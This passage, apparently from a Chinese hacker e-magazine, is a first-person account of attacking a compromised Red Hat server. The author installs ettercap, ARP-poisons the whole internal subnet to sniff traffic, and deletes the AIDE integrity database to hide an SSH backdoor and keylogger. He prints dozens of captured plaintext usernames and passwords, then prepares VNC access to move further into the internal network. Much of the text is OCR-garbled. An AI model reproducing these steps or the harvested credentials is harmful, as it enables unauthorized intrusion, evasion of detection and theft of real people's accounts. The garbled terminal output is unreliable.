Dash-4.1# alsaunmut arch awk bash brltty-cor brltty-cor brltty-ins cat cgcreate bash-4.1# eth0	IS e stall y ifconf Link e inet a inet a inet a inet a collis RX pac TX pac TX pac TX pac TX pac TX pac TX pac TX pac TX pac	cgdelete cgexec cgget cdset chorp chmod chown Cp cp cpio csh cut ig ncap:Ethe ddr:10.14 addr: fe8 ADCAST RU kets:8865 kets:9533 ions:0 tx es:264294	dash date dbus-cleanwp-sockets dbus-semon dbus-semon dbus-semon dbus-semon dbus-send dbus-send dbus-send dbus-send dbus-send dbus-send dbus-send dbus-send dbus-send dbus-send dbus-send dbus-send dbus-send dbus-send df dmsdmainname send df dmsdmainname send df dmsdmainname send df dmsdmainname send df dmsdmainname send df dmsdmainname send df dmsdmainname send df dmsdmainname send df dmsdmainname send df dmsdmainname send df dmsdmainname send df dmsdmainname send df dmsdmainname send df dmsdmainname send df dmsdmainname send df dmsdmainname df dmsdmainname send df dmsdmainname df dmsd	domainname dumpkeys echo egrep erv ex fgrep find fusermount AA:CB:BC 9:00.258 Sope:Li 00 overruns: es:32907036	gawk gettext grap grap grap hostname ipcalc iptables-xml kbd_mode keyctl ask:255.255.25 fri d frame:0 0 carrier:0 (31.3 MiB)	kill ksh link loadkeys login ls lscgroup lssubsys mail mailx	mkdir mkrod mkremp more mount mountpoint mv nano netstat nice	nisdomainname ping ping6 plymouth ps pwd peadlink red1 rm rmdir	rnano rpm rview sedstfont setserial sh sleep sort stty	SU Sync taskset tosk touch tracepath tracepath traceroute traceroute true	ulockmgr_server umount unicode_start unicode_stop unlink uleep view ypdomainname zcat	zsh
eth1	Link e UP BRO RX pac TX pac Collis RX byt Interr	ncap:Ethe ADCAST MU kets:0 er kets:0 er ions:0 tx es:0 (0.0 upt:40 Me	rnet Hwaddr 34:40:85: LTICAST MTU:1500 Met rors:0 dropped:0 overr rors:0 dropped:0 overr queuelen:1000 b) TX bytes:0 (0.0 b mory:94000000-94012800	AA:CB:BE ric:1 uns:0 frame: uns:0 carrie )	0 r:0							
10	Link e inet a inet6 UP LOO RX pac TX pac COllis RX byt	ncap:Loca ddr:127.0 addr::11 PBACK RUN kets:1866 kets:1866 ions:0 tx es:153413	l Loopback .0.1 Mask:255.0.0.0 /128 scope:Host NIMG MTU:16436 Metri 5 errors:0 dropped:0 o 5 errors:0 dropped:0 o queuelen:0 1 (1.4 MiB) TX bytes:	c:1 verruns:0 fr verruns:0 ca 1534131 (1.4	ame:0 rrier:0 MiB)							
usb0	Link e inet6 UP BRO RX pac TX pac	ncap:Ethe addr: fe8 ADCAST RU kets:3470 kets:6 er	rnet Hwaddr 36:40:B5: 0::3440:b5ff:fead:ba87 NNING MULTICAST MTU:1 458 errors:0 dropped:0 rors:0 dropped:0 overr	AD:BA:87 /64 Scope:Li 500 Metric: overruns:0 uns:0 carrie	nk 1 frame:0 r:0					1	<b>C</b> 4CK () Security Te	<u>}</u>

测试表明,键盘记录好使,就是不是太准确,不过配合 history 是没什么问题了,如图 3-1-24:



图 3-1-24

### 七. 配置 yum 源:

下面安装 ettercap,安装 ettercap 我就直接用 yum 安装了,但是呢?我发现了一个问题、此 系统是 redhat 企业版 6.0 的操作系统,这种 yum 源网上不好找的,我也不想费劲再服务器 上下载一个 redhat iso 镜像,自己搭建一个 yum 源来提供下载,而且也不是很安全,所以呢? 就想办法让 redhat yum 源使用 centos yum 源来进行安装、默认情况下是不行的哟、建议别 试。小心你的系统安装的包不兼容出毛病!

### 1、删除 redhat 原有的 yum 源

# rpm -aq grep yum | xargs rpm -e --nodeps

### 2、下载新的 yum 安装包

这里我们已经事先把所有包都打包好了,如图 3-1-25:





安装成功后, 配置 yum 源, 如图 3-1-26: [root@jcms yum.repos.d]# is [root@jcms yum.repos.d]# cat /etc/issue Red Hat Enterprise Linux Server release 6.0 (Santiago) Kernel \r on an \m [root@jcms yum.repos.d]# uname -a Linux jcms 2.6.32-71.el6.i686 #1 SMP wed Sep 1 01:26:34 EDT 2010 i686 i686 i386 GNU/Linux [root@jcms yum.repos.d]# vim etter.repo [etter] name=ettercap baseurl=http://dl.fedoraproject.org/pub/epel/6/i386/ enabled=1 gpgcheck=0

2 2

图 3-1-26

Yum 源测试,如图 3-1-27,图 3-1-28:

[root@jcms yum]# cd /etc/yum.repos.d/ [root@jcms yum.repos.d]# cat ettercap.repo [name] name=etter baseurl=http://mirrors.163.com/centos/6/os/i386/ enabled=1 gpgcheck=0 [root@jcms yum.repos.d]# yum clean all;yum list Loaded plugins: fastestmirror Cleaning repos: name cleaning up Everything Loaded plugins: fastestmirror Determining fastest mirrors name name/primary\_db

korg-x11-xkb-utils.i686	7.7-4.el6	name	*
korg-x11-xkb-utils-devel.i686	7.7-4.el6	name	
korg-x11-xtrans-devel.noarch	1.2.7-2.el6	name	
(giĺla.i686	2.2.3-8.el6	name	
coilla-devel.i686	2.2.3-8.e16	name	
coilla-doc.noarch	2, 2, 3-8, e16	name	
reston 1686	0.4-7.1.e16	name	
(cane 1686	0.007-8.016	name	
cane common i686	0.007 8 016	name	
kane-common. 1000	0.007 8 016	name	
winner 1696	10 0 13 1 ol6 contos	name	
winner. devel isse	10.0.12.1.el6.centos	name	
und devel icos	10.0.12-1.010.Centos	Tialle	
/a]1-deve1.1080	1.0.7-3.010	name	
/ap. 1686	5.1.3-2.1.elb	name	
/ap-devel.1686	5.1.3-2.1.el6	name	
/ap-docs.1686	5.1.3-2.1.el6	name	
/elp. 1686	2.28.1-13.el6_2	name	
/p-tools.i686	2.9-12.el6	name	
/pbind.i686	3:1.20.4-30.el6	name	
/pserv.i686	2.19-26.el6	name	
/um-NetworkManager-dispatcher.noarch	1.1.30-14.el6	name	
/um-cron.noarch	3.2.29-40.el6.centos	name	
/um-plugin-aliases.noarch	1.1.30-14.el6	name	
/um-plugin-auto-update-debug-info.noarch	1.1.30-14.el6	name	
/um-plugin-changelog.noarch	1.1.30-14.e16	name	
/um-plugin-downloadonly.noarch	1.1.30-14.e16	name	
/um-plugin-filter-data.noarch	1, 1, 30-14, e16	name	
/um-plugin-fs-spapshot. noarch	1.1.30-14.el6	name	
um-plugin-keys, poarch	1.1.30-14.el6	name	
um-plugin-list-data noarch	1 1 30-14 el6	name	
/um-plugin-local noarch	1 1 30-14 el6	name	
um-plugin-merge-conf noarch	1 1 30-14 el6	name	
am-plugin-nest-transaction-actions poarch	1 1 20-14 016	name	
am-plugip-priorities porch	1 1 20-14 016	name	
um plugin protecthase pearch	1 1 20 14 016	name	
um plugin pr porch	1 1 20 14 016	name	
/uni-prugin-ps.noai ch	1.1.30-14.210	Tialle	
/um-plugin-remove-with-reaves.noarth	1.1.30-14.010	name	
/um-piugin-rpm-warm-cache.noarch	1.1.30-14.010	name	
/um-plugin-security.noarcn	1.1.30-14.e10	name	
/um-plugin-show-leaves.noarch	1.1.30-14.e16	name	
/um-plugin-tmprepo.noarch	1.1.30-14.e16	name	
/um-plugin-tsflags.noarch	1.1.30-14.el6	name	
/um-plugin-upgrade-helper.noarch	1.1.30-14.el6	name	A MUL
/um-plugin-verify.noarch	1.1.30-14.e16	name	
/um-plugin-versionlock.noarch	1.1.30-14.e16	name	
/um-presto.noarch	0.6.2-1.el6	name	
/um-updateonboot.noarch	1.1.30-14.el6	name	Security Team
/um-utils.noarch	1.1.30-14.el6	name	T MARMINA LEUN

### 图 3-1-27

#### 图 3-1-28

Ok, yum 没问题,下面进行 ettercap 的安装。

# 八. 安装 ettercap:

有了 yum 啥都好办了,哈哈,直接 yum install 吧,如图 3-1-29: 安装完毕后查看下 ettercap 的安装路径,如图 3-1-30:



Frankfilmen 18 mm al akkansan	
l[root@jcms]# rpm -qi ettercap	*
/etc/ettercap	
/etc/ettercap/etter.com	
/etc/ettercap/etter.dns	
/etc/ettercap/etter.nbns	
/usr/bin/ettercap	
/usr/bin/etterfilter	
/usr/bin/etterlog	
/usr/lib/attercap	
/usr/lib/attarcap/ar arp con so	
(us) (10) (ctel ca) (ct_a) (ct_b) (ct	
/usr/ib/ettercap/et_autoadd.so	
//usr/lib/ettercap/ec_cnk_poison.so	
/usr/lib/ettercap/ec_dns_spoor.so	
/usr/lib/ettercap/ec_dos_attack.so	
/usr/lib/ettercap/ec_dummy.so	
/usr/lib/ettercap/ec_find_conn.so	
/usr/lib/ettercap/ec_find_ettercap.so	
/usr/lib/ettercap/ec find in so	
/usr/lib/ettercap/er finger so	
/usr/lib/ettercap/ec_finger_submit_so	
/usr/lib/ettercap/ec_ringe_labure	
/usr/iib/ettercap/et_gre_reray.so	
/dsr/lb/ettercap/et_gw_discover.so	
/usr/lib/ettercap/ec_isolate.so	
/usr/lb/ettercap/ec_link_type.so	
/usr/l1b/ettercap/ec_nbns_spoof.so	
/usr/lib/ettercap/ec_pptp_chapms1.so	
/usr/lib/ettercap/ec_pptp_clear.so	
/usr/lib/ettercap/ec_pptp_pap.so	
/usr/lib/ettercap/ec.pptp.reneg.so	
/usr/lib/ettercap/ec_pad_flood_so	
/usr/lib/atterap/sc_ramoto browson co	
/us//ib/ettercap/ec_remote_of onser.so	
//usr/lib/eccercap/ec_reply_arp.so	
//usr/lib/ettercap/ec_repoison_arp.so	
/usr/lib/ettercap/ec_scan_poisoner.so	
/usr/lib/ettercap/ec_search_promisc.so	
/usr/lib/ettercap/ec_smb_clear.so	
/usr/lib/ettercap/ec_smb_down.so	
/usr/lib/ettercap/ec_smurf_attack.so	
/usr/lib/ettercap/ec_sslstrip.so	
/usr/lib/ettercap/er stp mangler so	
/usr/share/applications/fedora-ettercap desktop	
June (apprication), read a tere car desitor	
/ usi / share / doc/ etcel cap-or.r.s	-
/ usi / shale / usi/ etcel cap-or, r. J/Au Inoks	APULO
//usr/snare/doc/ettercap-u./.3/CHANGELUG	
/USF/SDATE/GOC/ETTEFCAP-0.7.5/LICENSE	
/usr/share/doc/ettercap-0.7.5/README	
/usr/share/doc/ettercap-0.7.5/THANKS	Security Team
/usr/share/doc/ettercap-0.7.5/TODO	

查看 ettercap 所嗅探的端口(不必要修改,常用的 80,636,21,22,25,110,23 都在里面,默认足 够了已经),如图 3-1-31:

default port

#di	55	ec	to	r
				•

[dissectors]	
ftp = 21	# tcp 21
ssh = 22	# tcp 22
telnet = 23	# tcp 23
smtp = 25	# tcp 25
dns = 53	# udp 53
dhcp = 67	# udp 68
http = 80	# tcp 80
ospf = 89	# ip 89 (IPPROTO 0x59)
pop3 = 110	# tcp 110
<pre>#portmap = 111</pre>	# tcp / udp
vrrp = 112	# ip 112 (IPPROTO 0x70)
nntp = 119	# tcp 119
smb = 139,445	# tcp 139 445
imap = 143,220	# tcp 143 220
snmp = 161	# udp 161
bgp = 179	# tcp 179
1dap = 389	# tcp 389
https = 443	# tcp 443
ssmtp = 465	# tcp 465
$r \log n = 512,513$	# tcp 512 513
$r_{1p} = 520$	# udp 520
nntps = 563	# tcp 563
1daps = 636	# tcp 636
ternets = 992	# tcp 992
1maps = 993	# tcp 993
1105 = 994	# tcp 993
pop 55 = 995	# tcp 1080
socks = 1000	# udp 1645 1646
raulus = 1043,1040	# top 1852
rys = 2401	# tcp 2401
mysal = 2306	# tcp 2306
ica = 5190	# tcp 5190
vmsa = 5050	# tcp 5050
vnc = 5900 5901 5902 5903	# TCD 5900 5901 5902 5903
x11 = 6000, 6001, 6002, 6003	# TCD 6000 6001 6002 6003
irc = 6666, 6667, 6668, 6669	# tcp 6666 6667 6668 6669
napster = 7777.88888	# tcp 7777 8888
proxy = 8080	# tcp 8080
rcon = 27015.27960	# udp 27015 27960
ppp = 34827	# special case :) this is the Net Laver code
	and and the second s
•	
# you can change the color	s of the curses GUI.

下面就来进行使用 ettercap 嗅探吧。

### 九. 使用 ettercap 进行内网嗅探:

嗅探时遇到的问题、因为是用 yum 来进行安装的 ettercap, 所以比较新, 是 0.7.5, ettercap0.7.5 之后推出了又 ipv6 的嗅探方式。

所以跟 0.7.3 的一些参数有所不同,如图 3-1-32,图 3-1-33,图 3-1-34: Incorrect number of token (///) in TARGET !! [root@jcms ...]# yum install libnet Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile Setting up Install Process Package libnet-1.1.5-1.el6.i686 already installed and latest version Nothing to do [root@jcms ...]# ettercap -T -M arp "// //" -q -i eth0 01 earch tips Subscriptions ettercap 0.7.5 copyright 2001-2012 Ettercap Development Team RGET !! a. TARGET (// //) contains invalid chars ! 50 [root@jcms ...]# -就绪 ssh2: AES-256-CTR 17, 18 17行, 80列 VT100 大写 数字 what steps will reproduce the problem? 1. V3.7 on I made couple of changes to the script (mainly path corrections for my gentoo system (dhcpd.conf /etc/ettercap/etter.conf and so on) 2. when trying to launch fake ap static ettercap does not work Please provide any additional information below. The script calls ettercap -a /etc/ettercap/etter.conf -T -q -1 /home/user/Downloads/easy-creds-2012-11-17-1423/ettercap2012-11-17-1431 -i at0 // // and ettercap answers Incorrect number of token (///) in TARGET !! is this an error in the script or am i missing something? Project Member #2 jbrav...@gmail.com Ettercap 0.7.5 required an extra / because we enabled IPv6. We recently took that out. so if Rick updated to ettercap 0.7.5.1 it should work Also, make sure you are running easy-creds v3.7.3. curity Team Please let me know since I am not currently a Gentoo user 图 3-1-32 Re: [Ettercap-betatesting] ettercap does not recognize target From: Emilio Escobar «eescobar@gm...» - 2012-11-26 14:27 Attachments: Message as HTML Sergio, As per the man pages, it needs an extra / in the target selection because of the IPv6 capability. ettercap -T -H arp /// /// should work. Emilio Escobar / eescobar@... - Great spirits have always encountered strong oppositions from mediocre minds. -- Einstein On Fri, Nov 23, 2012 at 6:36 PM, Sergio Basurto <sbasurto@...; > \*\* > Hello. > I do not know if this is the right place to post this question, so I will > ask here, please if this is not the right place let me know and point me to > the right direction. > I reinstall my Linux machine and install the latest ettercap version > available, once installed I typed: > ## ettercap -T -M arp // // \* > and ettercap responds > \*sttercap 0.7.5 copyright 2001-2012 Ettercap Development Team\*

图 3-1-33

第 43 页/共 122 页 官方微博: http://t.qq.com/hackcto 出版日期: 每月 15 日 电子杂志:免费

ettercap 0.7.5 copyright 2001-2012 Ettercap Development Team ettercap 0.7.5 [root@jcms ...]# ettercap -T -M arp "// //" -q -i eth0 ettercap 0.7.5 copyright 2001-2012 Ettercap Development Team TARGET (// //) contains invalid chars ! [root@jcms ...]# ettercap -T -M arp /// /// -q -i eth0 ettercap 0.7.5 copyright 2001-2012 Ettercap Development Team Listening on: eth0 -> 34:40:B5:AA:CB:BC 10.149.100.150/255.255.255.0 fe80::3640:b5ff:feaa:cbbc/64 SSL dissection needs a valid 'redir\_command\_on' script in the etter.conf file Privileges dropped to UID 65534 GID 65534... plugin ec\_sslstrip.so cannot be loaded... 30 plugins 40 protocol dissectors 55 ports monitored 13861 mac vendor fingerprint 1766 tcp OS fingerprint 2183 known services Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... ---->| 100.00 % 19 hosts added to the hosts list ... ARP poisoning victims: GROUP 1 : ANY (all the hosts in the list) GROUP 2 : ANY (all the hosts in the list) Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help

图 3-1-34

问题解决后,就可以嗅探了、但是,嗅探不是短时间就能嗅探到的,而且你也不能盯着电脑, 或者说如果设置了终端超时怎么办?一旦终端断掉,你的进程也会跟着断开。所以呢?我们 使用一条 nohup 命令, Nohup 的意思是不挂断地运行命令,如图 3-1-35:

[[root@jcms]# nohup ettercap -T -	M arp /// /// -q -i eth0 > ettercap &	
[1] 9039 [root@jcms]# nohup: 忽略输入重定问	可错误到标准输出端	
[root@jcms]# ps -ef  grep etter 65534 9039 8712 99 00:24 pts/2 root 9052 8712 0 00:25 pts/2 [root@jcms]# cat ettercap ettercap [root@jcms]# cat ettercap	00:00:55 ettercap -T -M arp /// /// -q -1 eth0 00:00:00 grep etter ettercap-0.7.3-2.rf.src.rpm	ettercap-0.7.5-3.e16.1.20120906gitc796e5.1686.rpm
ettercap 0.7.5 copyright 2001-2012 Et	tercap Development Team	
Listening on: eth0 -> 34:40:B5:AA:CB:BC 10.149.100.150/255.255.255. fe80::3640:b5ff:feaa:cbbc/6	0 4	
SSL dissection needs a valid 'redir_c Privileges dropped to UID 65534 GID 6	ommand_on' script in the etter.conf file 5534	
plugin ec_sslstrip.so cannot be loade 30 plugins 40 protocol dissectors 55 ports monitored 13661 mac vendor fingerprint 1766 tcp OS fingerprint 2183 known services	d	
Randomizing 255 hosts for scanning Scanning the whole netmask for 255 ho *	sts	
18 hosts added to the hosts list		
ARP poisoning victims:		
GROUP 1 : ANY (all the hosts in the	list)	
GROUP 2 : ANY (all the hosts in the Starting Unified sniffing	list)	
Text only Interface activated Hit 'h' for inline help		
DHCP: [00:1A:64:D5 DHCP: [00:1A:64:6C] ] DISCOVER DHCP: [00:1A:64:6C] ] DISCOVER		Zecurity Team

# Ok,已经成功放在后台运行,下面来测下,嗅探是否给力哟,如图 3-1-36:



图 3-1-36

可以嗅探到东西就行。

### 十.删除 aide 文件审计:

在清理尾巴的时候看到了一个目录,aide,我突然就联想到了我所改的文件是不是都被记录

下来了。哎呀! 差点出事, 如图 3-1-37,图 3-1-38,图 3-1-39:



/etc/crontab LSPP /var/spool/cron/root LSPP . /etc/login.defs LSPP /etc/securetty LSPP /var/log/faillog LSPP /var/log/lastlog LSPP /etc/hosts LSPP /etc/sysconfig LSPP /etc/inittab LSPP /etc/grub/ LSPP /etc/rc.d LSPP /etc/ld.so.conf LSPP /etc/localtime LSPP /etc/sysctl.conf LSPP /etc/modprobe.conf LSPP /etc/pam.d LSPP /etc/security LSPP /etc/aliases LSPP /etc/postfix LSPP 尼玛,如果没发现这个问题,估计做的ssh后门就白做了。 /etc/ssh/sshd\_config LSPP /etc/ssh/ssh\_config LSPP /etc/stunnel LSPP /etc/vsftpd.ftpusers LSPP /etc/vsftpd LSPP /etc/issue LSPP /etc/issue.net LSPP /etc/cups LSPP # with AIDE's default verbosity level of 5, these would give lots of # warnings upon tree traversal. It might change with future version. # #=/lost\+found DIR #=/home DIR

!/usr/tmp # Check only permissions, inode, user and group for /etc, but # cover some important files closely. /etc PER !/etc/mtab PERMS # Ignore backup files !/etc/.\*~ /etc/exports NORMAL /etc/fstab NORMAL /etc/passwd NORMAL 🖛 /etc/group NORMAL /etc/gshadow NORMAL /etc/shadow NORMAL /etc/security/opasswd NORMAL /etc/hosts.allow NORMAL /etc/hosts.deny NORMAL /etc/sudoers NORMAL /etc/skel NORMAL /etc/logrotate.d NORMAL /etc/resolv.conf DATAONLY 👞 /etc/nscd.conf NORMAL /etc/securetty NORMAL # Shell/x starting files /etc/profile NORMAL + /etc/bashrc NORMAL /etc/bash\_completion.d/ NORMAL /etc/login.defs NORMAL /etc/zprofile NORMAL /etc/zshrc NORMAL /etc/zlogin NORMAL /etc/zlogout NORMAL /etc/profile.d/ NORMAL /etc/X11/ NORMAL # Pkg manager /etc/yum.conf NORMAL /etc/yumex.conf NORMAL /etc/yumex.profiles.conf NORMAL /etc/yum/ NORMAL @etc/yum.repos.d/ NORMAL 4

图 3-1-39

直接删掉,我让你检查!哈哈,如图 3-1-40:

[root@icms .]# cd /var/lib/aide/	
Li oocejciis ~j# cu /vai/iib/aiue/	
[root@jcms aide]# rm -rf *	
[root@jcms aide]# ls	
Īroot@icms aidel# aidecheck	
Couldn't open file /var/lib/aide/aide.db	. gz for reading
[root@icms aide]#	
r	
	<b>DECOLITY I BAW</b>
	The second set and set at the second

图 3-1-40

好吧,快2点了,睡觉,明天看结果。

### 十一.查看嗅探内容:

查看下嗅探的结果,果然嗅探出来数据了,但是中间有很多不必要的一些信息。 我需要删除它,如图 3-1-41:

SNMP	210.75.207.94:161	-> COMMUNITY:	public	INFO:	SNMP	v2				
SNMP	210.75.207.88:161	-> COMMUNITY:	public	INFO:	SNMP	v2				
SNMP	210.75.207.88:161	-> COMMUNITY:	public	INFO:	SNMP	v2				
SNMP	210.75.207.88:161	-> COMMUNITY:	public	INFO:	SNMP	v2				
SNMP	210.75.207.88:161	-> COMMUNITY:	public	INFO:	SNMP	v2				
SNMP	210.75.207.88:161	-> COMMUNITY:	public	INFO:	SNMP	v2				
DHCP:	[00:1A:64:D5:5E:49]	DISCOVER								
DHCP:	[00:1A:64:6C:CC:97]	DISCOVER								
DHCP:	[00:1A:64:CB:3F:EA]	DISCOVER								
DHCP :	[00:1A:64:27:AF:8D]	DISCOVER								
DHCP:	[00:1A:64:6B:C7:42]	DISCOVER								
DHCP :	[00:1A:64:CB:46:FB]	DISCOVER								
DHCP:	[00:1A:64:D5:60:AC]	DISCOVER								
DHCP :	[00:1A:64:D5:5E:49]	DISCOVER								
DHCP:	[00:1A:64:6C:CC:97]	DISCOVER								
DHCP:	[00:1A:64:CB:3F:EA]	DISCOVER								
DHCP:	[00:1A:64:27:AF:8D]	DISCOVER								
DHCP :	[00:1A:64:6B:C7:42]	DISCOVER								
HTTP	10.149.100.200:80	-> USER: zh		PASS:	zys	INFO:	http://10.	149.100	.200/login.	isp
HTTP	: 10.149.100.200:80	-> USER: z		PASS:	zys	INFO:	http://10.	149.100	.200/login.	jsp
DHCP:	[00:1A:64:D5:60:AC]	DISCOVER								
DHCP:	[00:1A:64:CB:46:FB]	DISCOVER								
DHCP:	[00:1A:64:D5:5E:49]	DISCOVER								
DHCP :	[00:1A:64:6C:CC:97]	DISCOVER								
DHCP:	[00:1A:64:CB:3F:EA]	DISCOVER								
DHCP:	[00:1A:64:27:AF:8D]	DISCOVER								
DHCP:	[00:1A:64:6B:C7:42]	DISCOVER								
DHCP :	[00:1A:64:D5:60:AC]	DISCOVER								
DHCP:	[00:1A:64:CB:46:FB]	DISCOVER								
DHCP:	[00:1A:64:D5:5E:49]	DISCOVER								
DHCP:	[00:1A:64:6C:CC:97]	DISCOVER								
DHCP :	[00:1A:64:CB:3F:EA]	DISCOVER								
DHCP:	[00:1A:64:27:AF:8D]	DISCOVER								
DHCP :	[00:1A:64:6B:C7:42]	DISCOVER								
DHCP:	[00:1A:64:D5:60:AC]	DISCOVER								
DHCP :	[00:1A:64:CB:46:FB]	DISCOVER								
DHCP:	[00:1A:64:D5:5E:49]	DISCOVER								
DHCP	[00 1A 64 6C CC 97]	DISCOVER								

那就是用 sed 命令吧, 如图 3-1-42:

[/tmp/.../]\$ sed -i -e '/DHCP:/d' ettercap [/tmp/.../]\$ sed -i -e '/SHMF/d' ettercap [/tmp/.../]\$ cat ettercap +[Imettercap 0.7.5+[Om copyright 2001-2012 Ettercap Development Team Listening on: ethO -> 34:40:B5:AA:CB:BC 10.149.100.150/255.255.255.0 fe80::3640:b5ff:feaa:cbbc/64 SSL dissection needs a valid 'redir\_command\_on' script in the etter.conf file Privileges dropped to UID 65534 GID 65534... plugin ec\_sslstrip.so cannot be loaded... 30 plugins 40 protocol dissectors 55 ports monitored 13861 mac vendor fingerprint 1766 tcp OS fingerprint 2183 known services Randomiring 255 hosts for scanning... Scanning the whole netmask for 255 hosts...

官方网站:www.hackcto.com

可以看到下图,不必要的信息已经完全删除完毕,如图 3-1-43:

HTTP	: 10.149.100.150:8080 -> USER: test PASS: 123456 INFO: http://www.sec.edu/jons/index jons.jsp	
HTTP	': 10.149.100.150:8080 -> USER: test PASS: 123456 INFO: http://	
HTTP	: 10.149.100.200:80 -> USER: zhangvishan PASS: zvs INF0: http://10.149.100.200/login.isp	
HTTP	: 10.149.100.200:80 -> USER: zhangvushan PASS: zvs INF0: http://10.149.100.200/login.jsp	
HTTP	: 10.149.100.200.80 -> USER: liufang PASS: 123 INFO: http://10.149.100.200/login.isp	
HTTP	: 10.149.100.200:80 -> USER: liufang PASS: 123 INTO: http://10.149.100.200/login.jsp	
HTTP	10.149.100.150:8080 -> USER: ?????? 毎? PASS: 111111 INFO: http://21-13.201.001 mms/index joms, jsp	
HTTP	: 10.149.100.150:8080 -> USER: bastshouy PASS: 68049714 INFO: http://tere-ro-concord/jcms/index jcms.js	ъ
HTTP	: 10.149.100.150:8080 -> USER: wuyuchuan FASS: 771209 INF0: http://	
HTTP	: 10.149.100.150:8080 -> USER: students2 PASS: 1234567 INFO: http://	
HTTP	': 10.149.100.200:80 -> USER: liufaxian PASS: 123 INF0: http://10.149.100.200/login.jsp	
HTTP	': 10.149.100.200:80 -> VSER: liufaxian PASS: 123 INF0: http://10.149.100.200/login.jsp	
HTTP	: 10.149.100.150:8080 -> USER: www PASS: yongshi INFO: http://210	
HTTP	' : 10.149.100.150:8080 -> USER: ?   ?鍉? PASS: 2008bjsoywy INFO: ht 💭	р
HTTP	10.149.100.200:80 -> USER: yanghui PASS: 123 INFO: http://10.149.100.200/login.jsp	
HTTP	10.149.100.200:80 → USER: yanghui PASS: 123 INFO: http://10.149.100.200/login.jsp	
HTTP	': 10.149.100.200:80 -> VSER: liuyuanxin PASS: 123 INFO: http://10.149.100.200/login.jsp	
HITP	:10.149.100.150:8080 -> USER: ?村?蹇? PASS: 111111 INF0: http://2	
HTTP	': 10.149.100.200:80 -> VSER: wangshu PASS; 321 INF0: http://10.149.100.200/login.jsp	
HTTP	' : 10.149.100.150:8080 -> USER: ebast_admin PASS: 620605 INF0: http://www.mee.org.83/jcms/index_jcms.js	p
HTTP	10.149.100.150:8080 -> USER: ??? FASS: 811130 INFO: http://210.0000000000000000000000000000000000	
HTTP	': 10.149.100.150:8080 -> USER: 杩?(既滿?? PASS: bjjxxy INF0: http:///panarosana83/jcms/index_jcms.jsp	
HTTP	'; 10.149.100.150:8080 -> USER: 杩?慨荡?? PASS: bjjxxy_INTFO: http:// <mark>2.c.mo.com</mark> -83/jcms/index_jcms.jsp	
HTTP	': 10.149.100.150:8080 -> USER: 濁???? PASS: 84654997 INFO: http://283/jcms/index_jcms.jsp	
HTTP	' : 10.149.100.150:8080 -> USER: ?村?蹇? PASS: 111111 INFO: http://21onnencong3/jcms/index_jcms.jsp	
HITP	': 10.149.100.150:8080 -> VSER: ?林?蹇? PASS: 111111 INFO: http://21000_83/jcms/index_jcms.jsp	
HTTP	: 10.149.100.200:80 -> USER: cuijiashu PASS: jiashu0309 INFO: http://10.149.100.200/login.jsp	
HITP	: 10.149.100.150:8080 -> USER: ?┃?鍉? PASS: 2008bjaoywy INFO: http:// <b>http://http://http://http://http://</b>	ъ
HTTP	': 10.149.100.150:8080 -> USER: ?村?蹇? PASS: 111111 INFO: http://010.055.0055_63/jcms/index_jcms.jsp	
HITP	: 10.149.100.150:8080 -> USER: 1yj PASS: 666666 INFO: http://2000.00000000000000000000000000000000	
HTTP	10.149.100.200:80 -> USER: rengfulin PASS: 123 INF0: http://10.149.100.200/login.jsp	

图 3-1-43

### 十二.安装桌面环境

既然有内网地址的账号和密码以及 url,就要进他们内网针对网站再次渗透。一个 SSH Socks 代理,一个 vnc,我肯定会选择后者,操作起来很方便。但是,因为内网的 ip 外网是无法访 问的,所以我就安装 vnc,然后将 vnc 的 5900 端口转发的外网,进入。问题又来了,一般 的服务器肯定不会安装桌面环境,这样即使你把 vnc 给安装成功,端口也转发出来了,连接 上去也是没有图形化界面,这样你还是不能运行浏览器来进行内网渗透、所以第一步先安装 firefox 和桌面环境。

# ①先安装 firefox

# 加图 3-1-44.

жы <b>у</b> т <b>ч</b> ,								
[root@msf ~]# ssh 127.0.0.1 -p 550 -X								
root@127.0.0.1's password:								
Last login: Wed Aug 14 12:14:45 2013 from 10.149.97.99								
[root@jcms ~]# firefox								
Error: no display specified								
[root@jcms ~]# cd /etc/yum.repos.d/	ĩ							
[root@jcms yum.repos.d]# ls	A							
163.repo ettercap.repo								
[root@jcms yum.repos.d]# clear								
[root@jcms yum.repos.d]# ls								
163.repo ettercap.repo								1
[root@jcms yum.repos.d]# yum install firefox								1
Loaded plugins: fastestmirror								1
Loading mirror speeds from cached hostfile								1
name		14	4.2	kB	(	90:00		= ,
name1		į a	3.7	kB	(	90:00		- 1
Setting up Install Process		2						
Resolving Dependencies								1
> Running transaction check								
> Package firefox.1686 0:3.6.9-2.el6 will be updated		1	-		40		10	
> Package firefox.i686 0:10.0.12-1.el6.centos will be an update		(			41		J.T.L	
> Processing Dependency: xulrunner >= 10.0.12-1 for package: firefo	ox-10.	0	12-	1.el	6.ce	ntos.	1686	-
> Processing Dependency: libmozalloc.so for package: firefox-10.0.2	12-1.e	16	ce	ntos	.168	ίty	Tea	#

### ②安装桌面环境,共需要装2个组

如图 3-1-45, 3-1-46, 图 3-1-47:

root@jcms:~			×
<u>File Edit View Terminal Tabs H</u> elp			
[root@jcms ~]# yum groupinstall "X window system"			-
Loaded plugins: fastestmirror			
Loading mirror speeds from cached hostfile			
Setting up Group Process			
Loading mirror speeds from cached hostfile			
Package xorg-x11-xinit-1.0.9-13.el6.i686 already installed and latest version			
Package 1:xorg-x11-xauth-1.0.2-7.1.el6.i686 already installed and latest version			
Package wacomexpresskeys-0.4.2-3.el6.i686 already installed and latest version			
Package xvattr-1.3-18.el6.i686 already installed and latest version			
Resolving Dependencies			
> Running transaction check			
> Package firstboot.i686 0:1.110.8-1.el6 will be updated			
> Package firstboot.i686 0:1.110.14-1.el6 will be an update			
> Package glx-utils.i686 0:7.7-2.el6 will be updated			
> Package glx-utils.i686 0:9.0-0.7.el6 will be an update			
> Package hal.i686 0:0.5.14-8.el6 will be updated			
> Processing Dependency: hal = 0.5.14-8.el6 for package: hal-storage-addon-0.5.14-8.el6.i6	86		
> Processing Dependency: hal = 0.5.14-8.el6 for package: hal-devel-0.5.14-8.el6.i686			
> Package hal.i686 0:0.5.14-11.el6 will be an update			-
> Processing Dependency: hal-libs = 0.5.14-11.el6 for package: hal-0.5.14-11.el6.i686			_
> Package plymouth-system-theme.noarch 0:0.8.3-17.el6 will be updated			
> Package plymouth-system-theme.noarch 0:0.8.3-27.el6.centos will be an update			
> Processing Dependency: plymouth(system-theme) = 0.8.3-27.el6.centos for package: plymout	h-s	ys	
